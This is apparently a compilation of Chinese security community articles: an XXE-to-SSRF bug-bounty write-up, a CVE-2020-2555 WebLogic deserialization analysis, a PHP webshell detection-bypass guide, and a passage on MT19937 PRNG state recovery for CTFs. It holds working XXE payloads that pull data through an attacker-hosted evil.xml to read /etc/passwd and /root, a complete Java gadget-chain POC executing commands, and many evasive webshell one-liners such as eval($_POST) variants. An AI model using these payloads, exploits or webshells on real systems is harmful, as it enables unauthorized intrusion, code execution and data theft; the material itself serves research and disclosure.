ssrf`漏洞具有相似性，看看我们是否能够访问任何内部`web`应用程序是有意义的。由于我的目标公司似乎与相当广泛和多样化的开发人员合作，`GitHub`中充斥着`x.company.internal`格式的地址。我找到了一些看起来很有前途的内部资源（很可能有漏洞的服务器）。
wiki.company.internal
jira.company.internal
confluence.company.internal
考虑到防火墙之前阻止了我的传出流量，我想验证内部流量是否也被阻止了，或者内部网络是否更可信。
请求：
<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://wiki.company.internal/"> %ext;
]>
<r></r>
响应
The markup declarations contained or pointed to by the document type declaration must be well-formed.
有趣的是，我们以前看到过这个错误消息，它表示读取了请求的资源，但是没有正确格式化。这意味着允许内部网络通信，并且我们的内部请求成功了!
这就是我们的处境。使用`blind XXE`
漏洞，可以向许多内部web应用程序发起请求，枚举文件系统中文件的存在性，以及枚举在所有内部主机上运行的服务。在这一点上，我报告了这种漏洞，并在周末前往耶路撒冷的城市之旅中思考进一步的可能性。
## 独眼称王
周末精神焕发地回来后，我下定决心要找出这个脆弱点可能造成的影响。具体来说，如果我可以在内部网络上找到一个类似代理的主机，未经过滤的内部网络流量可能被滥用将流量路由到外部。
通常，在没有任何形式的可读反馈的情况下，在web应用程序上发现漏洞几乎是不可能的。幸运的是，在[Jira中存在一个已知的SSRF漏洞](https://ecosystem.atlassian.net/browse/OAUTH-344
"Jira中存在一个已知的SSRF漏洞")，这已经在[许多文章中](https://medium.com/bugbountywriteup/piercing-the-veil-server-side-request-forgery-to-niprnet-access-c358fd5e249a
"许多文章中")得到了证明。
我立即去测试我的运气与内部的Jira服务器
请求：
<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "https://jira.company.internal/plugins/servlet/oauth/users/icon-uri?consumerUri=http://4hm888a6pb127f2kwu2gsek23t9jx8.burpcollaborator.net/x"> %ext;
]>
<r></r>
响应：
The request is invalid: The request content was malformed:
sun.security.validator.ValidatorException: PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to requested target
`HTTPS` 的流量失败了，如果 `SSL` 验证出错的话。幸运的是，`Jira` 默认在`8080`端口上运行`HTTP`服务。
请求：
<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://jira.company.internal:8080/plugins/servlet/oauth/users/icon-uri?consumerUri=http://4hm888a6pb127f2kwu2gsek23t9jx8.burpcollaborator.net/x"> %ext;
]>
<r></r>
响应：
The request is invalid: The request content was malformed:
http://jira.company.internal:8080/plugins/servlet/oauth/users/icon-uri
我又检查了一下`Burp Collaborator`
的交互信息，但运气不佳。`Jira`实例可能已经打了补丁，或者已经禁用了易受攻击的插件。于是，我疯狂而徒劳地寻找不同类型的`Wiki`应用程序上已知的`SSRF`漏洞之后(并不是最优选择)，我决定测试内部`Confluence`实例是否存在相同的`Jira`
漏洞(默认情况下运行在端口8090上)。
请求：
<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://confluence.company.internal:8090/plugins/servlet/oauth/users/icon-uri?consumerUri=http://4hm888a6pb127f2kwu2gsek23t9jx8.burpcollaborator.net/x"> %ext;
]>
<r></r>
响应：
The request is invalid: The request content was malformed:
The markup declarations contained or pointed to by the document type declaration must be well-formed.
发现
我们成功地通过一个内部易受攻击的`Confluence`来绕过防火墙限制出站的`internet`流量。这意味着我们现在可以尝试`XXE`的经典方法。让我们从托管一个`evil.xml`文件开始。攻击者服务器托管`evil.xml`，包含以下内容，希望触发有趣的错误消息:
<!ENTITY % file SYSTEM "file:///">
<!ENTITY % ent "<!ENTITY data SYSTEM '%file;'>">
让我们更详细地看看这些参数实体的定义:
1. 将外部引用(在本例中是系统的/目录)的内容加载到变量中(%file)
2. 定义一个变量(%ent);它实际上只是将各个部分链接在一起来解释第三个实体
3. 尝试在（%file）位置访问资源;(无论它指向何处)并将该位置中的任何内容加载到实体（data）中。
注意，我们希望第三个定义失败，因为`（%file）`的内容;不会指向有效的资源位置，而是包含完整目录的内容。
现在，使用`Confluence`（`proxy`）指向我们的恶意文件，并确保参数`（%ent）`; 实体参数`(&data；)`被访问以触发目录访问:
请求：
<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://confluence.company.internal:8090/plugins/servlet/oauth/users/icon-uri?consumerUri=http://my_evil_site/evil.xml">
%ext;
%ent;
]>
<r>&data;</r>
响应
no protocol: bin
boot
dev
etc
home
[...]
太棒了!列出了服务器的目录内容!
有趣的是，这显示了从服务器返回基于错误的输出的另一种方法，即指定一个“丢失的”协议，而不是我们前面看到的无效协议。
这可以帮助我们解决在读取包含冒号的文件时遇到的最后一个难点，因为使用上述方法读取`/etc/passwd`会导致以下错误:
请求：
<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://confluence.company.internal:8090/plugins/servlet/oauth/users/icon-uri?consumerUri=http://my_evil_site/evil.xml">
%ext;
%ent;
]>
<r>&data;</r>
响应：
unknown protocol: root
换句话说，在冒号`:`第一次出现之前，可以读取文件，但是读取冒号之后不能再读取了。绕过这一点并强制在错误消息中显示完整的文件内容的一种方法是在文件内容之前加上一个冒号。这将导致`no
protocol`错误，因为第一个冒号之前的字段将是空的，即未定义。托管的 `evil.xml` 修改为:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">
请求：
<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://confluence.company.internal:8090/plugins/servlet/oauth/users/icon-uri?consumerUri=http://my_evil_site/evil.xml">
%ext;
%ent;
]>
<r>&data;</r>
响应：
no protocol: :root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
[…]
Java 在访问目录时还会返回目录列表，于是尝试访问根目录文件。
evil.xml
<!ENTITY % file SYSTEM "file:///root">
<!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">
请求：
<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://confluence.company.internal:8090/plugins/servlet/oauth/users/icon-uri?consumerUri=http://my_evil_site/evil.xml">
%ext;
%ent;
]>
<r>&data;</r>
响应：
no protocol: :.bash_history
.bash_logout
.bash_profile
.bashrc
.pki
.ssh
[...]
就是这样，看来我们很幸运。通过滥用不充分的网络分隔、未打补丁的内部应用程序服务器、过度特权的web服务器以及通过过于冗长的错误消息传递导致的信息泄漏，我们成功地将一个`blind
XXE`漏洞提升为读取`root`目录和文件的漏洞。
## 经验
红队：
1. 如果有东西看起来很奇怪，那么继续挖掘
2. `Java SAX`解析器对`URL`模式的有趣处理允许使用一些新的方法提取信息。虽然现代`Java`版本不允许将多行文件作为外部HTTP请求(即`[attacker.org/?&file;](http://attacker.org/?&file;)`)的方式导出，但是在错误消息中，甚至在`URL`协议中，都可以获得多行响应
蓝队：
1. 确保内部服务器和面向公众的服务器一样得到了及时的修补
2. 不要把内部网络视为一个受信任的安全区，而应采用适当的网络分隔
3. 将详细的错误消息写入错误日志，而不是HTTP响应
4. 依赖身份验证并不一定能缓解诸如XXE之类的低级问题
## 时间线：
1.20181126-第一次注意到有趣的XML端点
2.20181128-blind XXE报告:可以列举文件、目录、内部网络位置和开放端口
3.20181203-发现易受攻击的内部Confluence服务器，报告POC演示了读取根目录文件的能力
4.20181204-漏洞修复获得奖金
5.20181206-申请发表文章;
6.20181212-批准。 | 社区文章 |
# Weblogic Coherence组件漏洞初探CVE-2020-2555
2020年1月，互联网上爆出了weblogic反序列化远程命令执行漏洞（CVE-2020-2555），Oracle Fusion中间件Oracle
Coherence存在缺陷，攻击者可利用该漏洞再未授权情况下通过构造T3协议请求，获取weblogic服务器权限，执行任意命令。
漏洞影响情况：
Oracle Coherence 3.7.1.17
Oracle Coherence & Weblogic 12.1.3.0.0
Oracle Coherence & Weblogic 12.2.1.3.0
Oracle Coherence & Weblogic 12.2.1.4.0
通过研究发现 Weblogic 10.3.6.0 版本不受影响范围内，虽然该版本默认自带了 Coherence（3.7），通过调试发现该版本默认并未启用
Coherence，所以 Weblogic 10.3.6.0 不在受影响范围内。
## 漏洞分析
分析环境 **Weblogic 12.1.3** ，注意每个Weblogic中的coherence组件可能会有不同，导致poc构造无法通用
开启weblogic远程调试，打包coherence目录加入到idea中，并开启远程JVM调试
在Coherence组件中，出现了像CC链一样可以组成链式调用的类
### 1) 链式调用
首先介绍几个关键类，这几个类和CC链一样组成了链式调用。
#### ValueExtractor接口
所有实现了此接口的类都有个`extract`方法，这个方法是整个调用链的关键方法
#### ReflectionExtractor类
此类实现了`ValueExtractor`接口，有个`extract`方法，此方法有调用`method.invoke`
可以用以下demo来构造Runtime.getRuntime()
public class Test {
public static void main(String[] args) {
ReflectionExtractor reflectionExtractor = new ReflectionExtractor(
"getMethod",
new Object[]{"getRuntime", new Class[0]}
);
Object extract = reflectionExtractor.extract(Runtime.class);
System.out.println(extract);
}
}
#### ChainedExtractor类
此方法也实现了`ValueExtractor`接口，也有个`extract`方法，查看此方法
此方法和CC链的一样，利用for循环遍历了数组`aExtractor`的每一个`extract`方法，形成了`ChainedExtractor`调用链。以下demo可以构造Runtime.getRuntime.exec造成命令执行的效果
public class Test {
public static void main(String[] args) {
String cmd = "calc";
ValueExtractor[] valueExtractors = new ValueExtractor[]{
new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}),
new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}),
new ReflectionExtractor("exec", new Object[]{new String[]{"cmd", "/c", cmd}})
};
ChainedExtractor chainedExtractor = new ChainedExtractor(valueExtractors);
chainedExtractor.extract(Runtime.class);
}
}
接下来只要寻找到调用了`ChainedExtractor#extract`方法的类，即可触发调用链。
### 2) 触发调用链
#### LimitFilter#toString
此处漏洞采用了`com.tangosol.util.filter.LimitFilter#toString`来触发调用链，下图为`toString`方法，其调用了`extract`方法
这里涉及两个值，分别是`this.m_comparator`和`this.m_oAnchorTop`
`this.m_comparator`转型成了`ValueExtractor`类型，并赋值给了`extractor`，而`extractor`则调用了`extract`方法
在`extractor`方法中传入了`this.m_oAnchorTop`
得出以下条件：
`this.m_comparator`为`chainedExtractor`
`this.m_oAnchorTop`为`Runtime.class`
以上两个条件满足即可利用`com.tangosol.util.filter.LimitFilter#toString`来触发调用链
LimitFilter#toString -》 chainedExtractor#extract
接下来就是寻找调用了`LimitFilter#toString`的类，在CC5中有个`BadAttributeValueExpException`，其`readObject`中会调用到`toString`
#### BadAttributeValueExpException
此类在CC5中有出现过，其`readObject`中会调用到`toString`
此处会调用`valObj`的`toString`方法，而`valObj`在72行时候被获取
### 3) 构造POC
先附上整个调用链：
Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
LimitFilter.toString()
ChainedExtractor.extract()
ReflectionExtractor.extract()
Method.invoke()
Class.getMethod()
ReflectionExtractor.extract()
Method.invoke()
Runtime.getRuntime()
ReflectionExtractor.extract()
Method.invoke()
Runtime.exec()
得出POC
package com.yyhuni;
import com.tangosol.util.ValueExtractor;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import com.tangosol.util.filter.LimitFilter;
import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
public class POC1 {
public static void main(String[] args) throws Exception {
String cmd = "calc";
ValueExtractor[] valueExtractors = new ValueExtractor[]{
new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}),
new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}),
new ReflectionExtractor("exec", new Object[]{new String[]{"cmd", "/c", cmd}})
// new ReflectionExtractor("exec", new Object[]{new String[]{"/bin/bash","-c", cmd}})
};
ChainedExtractor chainedExtractor = new ChainedExtractor(valueExtractors);
LimitFilter limitFilter = new LimitFilter();
BadAttributeValueExpException BadAttribute = new BadAttributeValueExpException(null);
Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
m_comparator.setAccessible(true);
m_comparator.set(limitFilter, chainedExtractor);
Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
m_oAnchorTop.setAccessible(true);
m_oAnchorTop.set(limitFilter, Runtime.class);
Field val = BadAttribute.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(BadAttribute, limitFilter);
//writeObject
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("poc.ser"));
objectOutputStream.writeObject(BadAttribute);
objectOutputStream.close();
//readObject
ObjectInputStream objectIntputStream = new ObjectInputStream(new FileInputStream("poc.ser"));
objectIntputStream.readObject();
objectIntputStream.close();
}
}
使用T3协议发送POC即可弹出计算器
## 修复
1. 临时解决方案：禁用 weblogic T3 协议。
2. 安装 Oracle 更新补丁，需要登录帐户后下载。 | 社区文章 |
# PHP Webshell检测与绕过
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
一般的，利用能够执行系统命令、加载代码的函数，或者组合一些普通函数，完成一些高级间谍功能的网站后门的脚本，叫做 `Webshell`
。而php做为一门动态语言，其灵活性很高，因此一直以来 `Webshell` 的绕过与检测之间不断的产生着化学反应。
`Webshell` 绕过的本质其实是针对不同的检测给予不同的绕过方式，因此想要学会绕过，首先要了解 `Webshell` 是如何检测的。
## Webshell 检测
[webshell检测模型](https://www.cnblogs.com/he1m4n6a/p/9245155.html)
> Webshell的运行流程： `hacker -> HTTP Protocol -> Web Server -> CGI`
> 。简单来看就是这样一个顺序：黑客通过浏览器以HTTP协议访问Web
> Server上的一个CGI文件。棘手的是，webshell就是一个合法的TCP连接，在TCP/IP的应用层之下没有任何特征（当然不是绝对的），只有在应用层进行检测。黑客入侵服务器，使用webshell，不管是传文件还是改文件，必然有一个文件会包含webshell代码，很容易想到从文件代码入手，这是静态特征检测；webshell运行后，B/S数据通过HTTP交互，HTTP请求/响应中可以找到蛛丝马迹，这是动态特征检测。
`Webshell` 检测真要细说起来就超过本菜鸡的能力范围之内了，大致分为
* 静态检测，通过匹配特征码，特征值，危险函数函数来查找 WebShell 的方法，只能查找已知的 WebShell，并且误报率漏报率会比较高，但是如果规则完善，可以减低误报率，但是漏报率必定会有所提高。
* 动态检测，执行时刻表现出来的特征，比如数据库操作、敏感文件读取等。
* 语法检测，根据 PHP 语言扫描编译的实现方式，进行剥离代码、注释，分析变量、函数、字符串、语言结构的分析方式，来实现关键危险函数的捕捉方式。这样可以完美解决漏报的情况。但误报上，仍存在问题。
* 统计学检测，通过信息熵、最长单词、重合指数、压缩比等检测。
而本文着重讲的是静态特征检测，静态检测通过匹配特征码，特征值，危险函数函数来查找webshell的方法，只能查找已知的webshell，并且误报率漏报率会比较高，但是如果规则完善，可以减低误报率，但是漏报率必定会有所提高。优点是快速方便，对已知的webshell查找准确率高，容易被绕过。
### 基于webshell特征检测
常见webshell函数
* 存在系统调用的命令执行函数，如 `eval、system、cmd_shell、assert` 等；
* 存在系统调用的文件操作函数，如 `fopen、fwrite、readdir` 等；
* 存在数据库操作函数，调用系统自身的存储过程来连接数据库操作；
* 具备很深的自身隐藏性、可伪装性，可长期潜伏到web源码中；
* 衍生变种多，可通过自定义加解密函数、利用xor、字符串反转、压缩、截断重组等方法来绕过检测；
//利用base64编码
<?php
$b = base64_encode(‘whoami‘);
echo $b.'';
echo base64_decode($b).'';?>
//利用gzcompress压缩
<?php
$c = gzcompress('whoami');
echo $c.'<br>';
echo gzuncompress($c)."";?>
//进制运算
<?php @$_++; $__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/"); ?>
//利用注释符
<?php @${$__}[!$_](${$__}[$_]);@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]); ?>
`Webshell` 的实现需要两步：数据的传递、执行所传递的数据。
对于执行数据部分，我们可以收集关键词，匹配脚本文件中的关键词找出可疑函数，当执行数据部分匹配到可疑函数时再进行判断其数据传递部分是否为用户可控，譬如
`$_POST、$_GET、$_REQUEST、$_FILES、$_COOKIE、$_SERVER` 等等。
不过一些变形的 `webshell` 通过各种编码、加密、压缩PHP文件，或者通过一些动态方法调用来绕过关键字匹配，此时我们可以通过收集
`webshell` 中会用到的而一般文件不会用到的函数和代码、收集出现过的 `webshell`
，将其中的特征码提取出来，也就是收集特征码，特征值，危险函数来完善规则库，提高查杀率。
## Webshell 绕过
### PHP动态特性的捕捉与逃逸
在p牛的[《PHP动态特性的捕捉与逃逸》](https://github.com/knownsec/KCon/blob/master/2019/25%E6%97%A5/PHP%E5%8A%A8%E6%80%81%E7%89%B9%E6%80%A7%E7%9A%84%E6%8D%95%E6%8D%89%E4%B8%8E%E9%80%83%E9%80%B8.pdf)
中，将常见的PHP一句话木马分为如下几个类别：
其中回调型后门的检测：
1. 遍历AST Tree
2. 分析FuncCall Node，判断是否调用了含有”回调参数”的函数
3. 判断回调参数是否是一个变量
介绍了如何绕过回调参数黑名单
**大小写绕过**
<?php
UsORt($_POST[1], $_POST[2]);
**函数别名**
`mbereg_replace` 、 `mbereg_ireplace` 在文档里搜索不到，实际上却是 `mb_ereg_replace` 、
`mb_eregi_replace` 的别名，而 `mb_ereg_replace` 、 `mb_eregi_replace` 的作用和
`preg_replace` 一样，支持传入e模式的正则表达式，进而执行任意代码；而且，PHP7后已经删除了 `preg_replace` 的e模式，而
`mb_ereg_replace` 的e模式仍然坚挺到现在。
<?php
mbereg_replace('.*', '', $_REQUEST[2333], 'mer');
不过， `mbereg_replace` 这个别名在PHP7.3被移除了，所以上述代码只能在7.2及以下的PHP中使用。
**函数重命名**
<?php
use function assert as test;
test($_POST[2333]);
**类的继承**
<?php
class test extends ReflectionFunction {}
$f = new test($_POST['name']);
$f->invoke($_POST[2333]);
php7匿名类
<?php
$f = new class($_POST['name']) extends ReflectionFunction {};
$f->invoke($_POST[2333]);
**变长参数**
<?php
usort(...$_GET);
**控制字符**
`[x00-x20]` PHP引擎会忽略这些控制字符，正确执行PHP函数；而PHP-Parser是无法正确解析的这些包含控制字符的函数的，可绕过一些具有语法解析的Webshell检测引擎：
<?php evalx01x02($_POST[2333]);
**利用PHP标签识别差异**
而PHP-Parser只支持前两个标签，传入一个由 `<script>` 标签构造的 `Webshell` ，不识别该标签的检测引擎就会出现绕过：
<script language="php">
eval($_POST[2333]);
</script>
上面的方法同样可以配合各种绕过方式提高绕过的可能性。
### 常规思路
**遍历PHP的文档，查找不常见且可做后门的回调函数**
利用下面五个关键词，能提高查找到拥有后门潜质的PHP回调函数的效率：
**关键词一：callable**
**关键词二：mixed $options**
**关键词三：handler**
**关键词四：callback**
**关键词五：invoke**
**substr拼接**
**变量覆盖**
<?php $a=1;$b=$_POST;extract($b);print_r(`$a`)?>
<?php
$b='ls';
parse_str("a=$b");
print_r(`$a`);
?>
**析构函数**
改成system
**‘’或者null拼接**
析构函数中eval直接报3级错误，我们加一个拼接
### 利用文件名
一般webshell是通过文件内容来查杀，因此我们可以利用一切非文件内容的可控值来构造webshell，譬如文件名
<?php
substr(__FILE__, -10,-4)($_GET['a']);
?>
同理，除了文件名，还有哪些我们很容易可以控制的值呢？
函数名也可。
<?php
function systema(){
substr(__FUNCTION__, -7,-1)($_GET['a']);
}
systema();
同理方法名也可
<?php
class test{
function systema(){
substr(__METHOD__, -7,-1)($_GET['a']);
}
}
$a = new test();
$a->systema();
还有类名 `__CLASS__` 什么的就不再多说了。
### 利用注释
`PHP Reflection API` 可以用于导出或者提取关于类 , 方法 , 属性 , 参数 等详细信息 . 甚至包含注释的内容。
### 利用getenv+Apache + HTTP header
`getenv` 能够获取 `phpinfo` 中 `ApacheEnvironment` 和 `Environment` 中的值。
请求头中的变量会以 `HTTP_变量名` 的形式存在 `Apache Environment` 中。
因此我们在请求头中带上 `E: system` ，我们可以通过 `getenv('HTTP_E')` 来获取其值 `system`
同理应该还有许多类似的获取字符串骚操作等待挖掘，上面是执行数据部分，然后是数据传递部分
除了直接使用
`$GLOBALS、$_SERVER、$_REQUEST、$_POST、$_GET、$_FILES、$_ENV、$_COOKIE、$_SESSION`
这些超全局变量外，我们还可以怎样传递数据呢？
首先看直接 `<?php eval($_POST['a']);?>` 时，级别为5
直接 `<?php`$_POST[‘a’]`;?>` 级别也为5
### 引用传值
<?php
function foo(&$var)
{
$var = $_POST['a'];
}
$a="";
foo($a);
eval($a);
?>
可以看到级别变成了1。
引用传值配合反引号
<?php
function foo(&$var)
{
$var = $_GET['a'];
}
$a="";
foo($a);
`$a`;
?>
可以看到直接绕过去了。
### 间接传值
curl获取内容后 `eval` ，级别为1
再配合上引用传值后直接绕过
## Referer
[PHP动态特性的捕捉与逃逸](https://www.leavesongs.com/PENETRATION/dynamic-features-and-webshell-tricks-in-php.html)
[php-webshell-detect-bypass](https://github.com/LandGrey/webshell-detect-bypass/blob/master/docs/php-webshell-detect-bypass/php-webshell-detect-bypass.md)
[创造tips的秘籍——PHP回调后门](https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html)
[过D盾webshell分享](https://xz.aliyun.com/t/3959)
[Webshell入侵检测初探（一）](https://www.freebuf.com/articles/web/183520.html)
[webshell检测方法归纳](https://www.cnblogs.com/he1m4n6a/p/9245155.html) | 社区文章 |
# 浅析MT19937伪随机数生成算法
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 引言
近年来MT19937在各大CTF赛事中出现的频率越来越高，本文主要讨论CTF中的常见的MT相关问题，并利用几道典型的赛题进行实战分析，尤其是今年二月份pwnhub的一道零解题(详见扩展题型)。感谢zzh师傅的细心指点，赛后才勉强解出了这道CoinFlip2。
## 前置知识
MT19937是一种周期很长的的伪随机数生成算法，可以快速的产生高质量的伪随机数，主要分为三部分。
如果读者对该算法不了解，可以先参考[wiki](https://zh.wikipedia.org/zh-cn/%E6%A2%85%E6%A3%AE%E6%97%8B%E8%BD%AC%E7%AE%97%E6%B3%95)
1.利用seed初始化624的状态
2.对状态进行旋转
3.根据状态提取伪随机数
32位的MT19937的python代码如下：
def _int32(x):
return int(0xFFFFFFFF & x)
class MT19937:
# 根据seed初始化624的state
def __init__(self, seed):
self.mt = [0] * 624
self.mt[0] = seed
self.mti = 0
for i in range(1, 624):
self.mt[i] = _int32(1812433253 * (self.mt[i - 1] ^ self.mt[i - 1] >> 30) + i)
# 提取伪随机数
def extract_number(self):
if self.mti == 0:
self.twist()
y = self.mt[self.mti]
y = y ^ y >> 11
y = y ^ y << 7 & 2636928640
y = y ^ y << 15 & 4022730752
y = y ^ y >> 18
self.mti = (self.mti + 1) % 624
return _int32(y)
# 对状态进行旋转
def twist(self):
for i in range(0, 624):
y = _int32((self.mt[i] & 0x80000000) + (self.mt[(i + 1) % 624] & 0x7fffffff))
self.mt[i] = (y >> 1) ^ self.mt[(i + 397) % 624]
if y % 2 != 0:
self.mt[i] = self.mt[i] ^ 0x9908b0df
python中内置的Random类就是采用了MT19937算法，getrandbits(32)方法可以获得一个32位随机数
## 题型1 逆向 extract_number
首先分析extract_number函数，可以发现输出的伪随机数是对state[i]进行了异或，位运算后的结果。
逐步分析extract_number
y = y ^ (y >> 18)
我们可以发现这一步的运算对操作数y的高18位并没有产生影响，也就是说运算结束后`y1 = y ^ ( y>>
18)`，得到`y1`高18位其实就是`y`的高18位，那么我们就可以得到`y>>18`的高36位，进而得到`y1`的高36位，也就是说我们可以在有限步内，获得`y`的所有信息，即我们可以根据`y1`逆向`y`。代码如下：
o = 2080737669
y = o^o>>18
# 控制位移的次数
for i in range(32//18):
y = y^(y>>18)
print(y==o)
我们可以发现逆向的过程和正向的过程惊人的相似，不得不感叹数学的奇妙。
继续分析
y = y ^ y << 15 & 4022730752
可以看到这一步位移的方向发生改变，而且增加了掩码，根据运算符的优先级，可以得到
`y1 =
y^((y<<15)&4022730752)`，实际上增加的掩码并没有太大的作用，因为`y1`的低15位实际上就是`y`的低15位和`4022730752`的低15位异或运算的结果，我们只需要`y1^4022730752`便可以得到`y`的低15位，于是得到`y<<15`的低30位，同理可以得到`y1`的低30位，经过有限步，最终可以得到`y`的全部信息。代码如下：
o = 2080737669
y = o ^ o << 15 & 4022730752
tmp = y
for i in range(32 // 15):
# (y<<15)&40022730752 每次可以恢复y的15位
y = tmp ^ y << 15 & 4022730752
print(y==o)
剩下的两步操作，可以采用同样的分析方法进行逆行。最终完整的代码如下：
o = 2080737669
# right shift inverse
def inverse_right(res, shift, bits=32):
tmp = res
for i in range(bits // shift):
tmp = res ^ tmp >> shift
return tmp
# right shift with mask inverse
def inverse_right_mask(res, shift, mask, bits=32):
tmp = res
for i in range(bits // shift):
tmp = res ^ tmp >> shift & mask
return tmp
# left shift inverse
def inverse_left(res, shift, bits=32):
tmp = res
for i in range(bits // shift):
tmp = res ^ tmp << shift
return tmp
# left shift with mask inverse
def inverse_left_mask(res, shift, mask, bits=32):
tmp = res
for i in range(bits // shift):
tmp = res ^ tmp << shift & mask
return tmp
def extract_number(y):
y = y ^ y >> 11
y = y ^ y << 7 & 2636928640
y = y ^ y << 15 & 4022730752
y = y ^ y >> 18
return y&0xffffffff
def recover(y):
y = inverse_right(y,18)
y = inverse_left_mask(y,15,4022730752)
y = inverse_left_mask(y,7,2636928640)
y = inverse_right(y,11)
return y&0xffffffff
y = extract_number(o)
print(recover(y) == o)
上述讨论的部分是，基于对extract_number函数的观察得到的逆向方法，除此之外我们还可以从extract_number的运算本质上进行逆向。
设state[i]的二进制表示形式为：
输出的随机数二进制形式为：
而z和x具有如下线性关系：
也就是说
其中X,Z是GF(2)上的1 x 32的向量，T是GF(2)上的 32 x
32的矩阵。我们只需要在GF(2)上求解X即可。已知Z，如果T也已知，可以快速的求解出X。那么如何计算T呢？
实际上我们可以采用黑盒测试的方法，猜解T。例如当X为(1,0,0,0,…..0)时，经过T得到的Z其实就是T中第一行。采用这种类似选择明文攻击的方法，我们可以得到T矩阵的每一行，进而还原T。最后再利用T和Z得到原始的X。代码如下：
# sagemath 9.0
from sage.all import *
from random import Random
def buildT():
rng = Random()
T = matrix(GF(2),32,32)
for i in range(32):
s = [0]*624
# 构造特殊的state
s[0] = 1<<(31-i)
rng.setstate((3,tuple(s+[0]),None))
tmp = rng.getrandbits(32)
# 获取T矩阵的每一行
row = vector(GF(2),[int(x) for x in bin(tmp)[2:].zfill(32)])
T[i] = row
return T
def reverse(T,leak):
Z = vector(GF(2),[int(x) for x in bin(leak)[2:].zfill(32)])
X = T.solve_left(Z)
state = int(''.join([str(i) for i in X]),2)
return state
def test():
rng = Random()
# 泄露信息
leak = [rng.getrandbits(32) for i in range(32)]
originState = [i for i in rng.getstate()[1][:32]]
# 构造矩阵T
T = buildT()
recoverState = [reverse(T,i) for i in leak]
print(recoverState==originState)
test()
这里的黑盒测试思想，会在后面的题型x，得到应用。希望读者理解后再继续阅读
## 题型2 预测随机数
这一类题型是基于对extract_number 函数的逆向，而发展来的。这里以2020年网鼎杯白虎组的random为例
### 2020网鼎杯白虎组random
定位到关键函数
def generate():
fw = open("random", "w")
for i in range(700):
fw.write(str(random.getrandbits(32))+"n")
fw.close()
generate()
f = open("flag.txt", "w")
key = str(random.getrandbits(32))
ciphertext = encryption(flag, key)
f.write(ciphertext)
f.close()
可以发现加密的key时第701个随机数，而且我们已知前700个随机数。于是可以根据输出的随机数逆向extract_number得到对应的700个state，实际上只需要前624个随机数恢复前624个state，就可以预测此后生成的随机数。代码如下：
# -*- coding: utf-8 -*- from random import Random
def invert_right(m,l,val=''):
length = 32
mx = 0xffffffff
if val == '':
val = mx
i,res = 0,0
while i*l<length:
mask = (mx<<(length-l)&mx)>>i*l
tmp = m & mask
m = m^tmp>>l&val
res += tmp
i += 1
return res
def invert_left(m,l,val):
length = 32
mx = 0xffffffff
i,res = 0,0
while i*l < length:
mask = (mx>>(length-l)&mx)<<i*l
tmp = m & mask
m ^= tmp<<l&val
res |= tmp
i += 1
return res
def invert_temper(m):
m = invert_right(m,18)
m = invert_left(m,15,4022730752)
m = invert_left(m,7,2636928640)
m = invert_right(m,11)
return m
def clone_mt(record):
state = [invert_temper(i) for i in record]
gen = Random()
gen.setstate((3,tuple(state+[0]),None))
return gen
f = open("random",'r').readlines()
prng = []
for i in f:
i = i.strip('n')
prng.append(int(i))
g = clone_mt(prng[:624])
for i in range(700):
g.getrandbits(32)
key = g.getrandbits(32)
print(key)
#2990136190
代码中逆向extract_number
部分的invert_right函数和题型1中的代码不同，但是效果是相同的(很久之前写的，所以直接粘过来了。)得到key之后就是常规的des解密，最后可以得到flag。
## 题型3 逆向twist
在已知连续624个随机数时(state没有进行twist)，可以还原state，预测后续的随机数。那么如何获得624个随机数之前的随机数呢？此时可以考虑，逆向twist获得前一组的state，进而获得前一组的624个随机数。
首先看一下twist函数
def twist(self):
for i in range(0, 624):
y = _int32((self.mt[i] & 0x80000000) + (self.mt[(i + 1) % 624] & 0x7fffffff))
self.mt[i] = (y >> 1) ^ self.mt[(i + 397) % 624]
if y % 2 != 0:
self.mt[i] = self.mt[i] ^ 0x9908b0df
考虑下面的例子：
1. 11100110110101000100101111000001 // state[i]
2. 10101110111101011001001001011111 // state[i + 1]
3. 11101010010001001010000001001001 // state[i + 397]
// y = state[i] & 0x80000000 | state[i + 1] & 0x7fffffff
